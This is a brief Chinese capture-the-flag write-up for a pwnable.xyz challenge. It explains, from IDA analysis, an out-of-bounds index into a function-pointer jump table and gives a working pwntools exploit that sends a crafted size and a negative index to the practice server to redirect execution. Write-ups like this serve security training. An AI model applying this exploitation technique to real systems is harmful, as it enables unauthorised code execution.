题目MD5:d735b979e30f5331e4b968c1b787a36d
题目保护:
IDA分析
程序根据一个数组来跳转执行功能,而且在malloc功能中,size会写入到数组的低地址方向,这时如果我们触发数组溢界,就可以任意地址跳转
exp
from pwn import * io=remote('svc.pwnable.xyz',30007) io.sendline('1') io.recvuntil('Size:') io.sendline('4196913') sleep(1) io.sendline('-2') io.interactive()